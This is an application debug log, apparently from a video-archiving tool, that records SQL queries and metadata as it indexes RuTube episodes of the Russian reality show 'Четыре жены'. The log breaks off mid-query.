m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:18.003 [debug] QUERY OK source="media_items" db=0.5ms idle=125.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76344] 20:59:18.003 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "duration" => 6303, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", "id" => "5ee79bc88186c6a0e98f89857744957b", "original_url" => "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", "playlist_index" => 22, "timestamp" => 1722522611, "title" => "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "upload_date" => "20240801"} 20:59:18.004 [debug] QUERY OK source="sources" db=0.4ms idle=126.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:18.005 [debug] QUERY OK source="sources" db=0.4ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:18.006 [debug] QUERY OK source="media_items" db=0.7ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-01 14:30:11Z], 6] 20:59:18.099 [debug] QUERY OK source="media_items" db=91.9ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "4c108430-10df-4f7a-9a02-e485f5d021fe", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", 22, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, false, false, 6, [], 1, ~U[2024-08-01 14:30:11Z], ~U[2025-12-08 17:59:18Z], ~U[2025-12-08 17:59:18Z], "Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, 6, ~U[2024-08-01 14:30:11Z]] 20:59:18.107 [debug] QUERY OK source="sources" db=7.2ms queue=0.1ms idle=96.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:18.108 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=102.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:18.110 [debug] QUERY OK source="media_items" db=1.7ms idle=102.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76345] 20:59:18.110 [debug] Current batch of media processed. Will check again in 1000ms 20:59:19.112 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "duration" => 6280, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", "id" => "72516321a5ca53fcc0d36b2ea97272c8", "original_url" => "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", "playlist_index" => 23, "timestamp" => 1723126812, "title" => "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "upload_date" => "20240808"} 20:59:19.116 [debug] QUERY OK source="sources" db=3.3ms idle=1013.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:19.121 [debug] QUERY OK source="sources" db=3.8ms queue=1.2ms idle=1009.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:19.124 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1014.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-08 14:20:12Z], 6] 20:59:19.198 [debug] QUERY OK source="media_items" db=72.3ms idle=1015.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "6eb155c6-0f0e-4917-b239-897502a4fcc1", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", 23, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, false, false, 6, [], 1, ~U[2024-08-08 14:20:12Z], ~U[2025-12-08 17:59:19Z], ~U[2025-12-08 17:59:19Z], "Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, 6, ~U[2024-08-08 14:20:12Z]] 20:59:19.206 [debug] QUERY OK source="sources" db=7.9ms idle=450.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:19.208 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=91.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:19.210 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=88.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76346] 20:59:19.210 [debug] Current batch of media processed. Will check again in 1000ms 20:59:20.211 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "duration" => 6038, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", "id" => "f5d66f7d3aa23630fbc0032d2125e993", "original_url" => "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", "playlist_index" => 24, "timestamp" => 1723731611, "title" => "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "upload_date" => "20240815"} 20:59:20.212 [debug] QUERY OK source="sources" db=0.5ms idle=1013.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:20.213 [debug] QUERY OK source="sources" db=0.4ms idle=1006.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:20.214 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-15 14:20:11Z], 6] 20:59:20.277 [debug] QUERY OK source="media_items" db=61.8ms idle=1004.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "01070bf1-5677-4b49-a174-5529113a515e", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", 24, "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, false, false, 6, [], 1, ~U[2024-08-15 14:20:11Z], ~U[2025-12-08 17:59:20Z], ~U[2025-12-08 17:59:20Z], "В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, 6, ~U[2024-08-15 14:20:11Z]] 20:59:20.286 [debug] QUERY OK source="sources" db=9.3ms idle=526.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:20.288 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.2ms idle=74.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:20.290 [debug] QUERY OK source="media_items" db=0.8ms idle=76.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76347] 20:59:20.291 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "duration" => 6105, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", "id" => "a544025693d94614b697556f6a939463", "original_url" => "https://rutube.ru/video/a544025693d94614b697556f6a939463/", "playlist_index" => 25, "timestamp" => 1752166839, "title" => "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "upload_date" => "20250710"} 20:59:20.292 [debug] QUERY OK source="sources" db=1.2ms idle=77.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:20.294 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=16.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:20.296 [debug] QUERY OK source="media_items" db=0.8ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-10 17:00:39Z], 6] 20:59:20.363 [debug] QUERY OK source="media_items" db=66.9ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "a52b3cb6-68cc-4590-a757-bc1c18c4c270", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", 25, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, false, false, 6, [], 1, ~U[2025-07-10 17:00:39Z], ~U[2025-12-08 17:59:20Z], ~U[2025-12-08 17:59:20Z], "В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, 6, ~U[2025-07-10 17:00:39Z]] 20:59:20.372 [debug] QUERY OK source="sources" db=8.0ms queue=0.1ms idle=73.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:20.373 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=80.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:20.375 [debug] QUERY OK source="media_items" db=0.3ms idle=80.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN 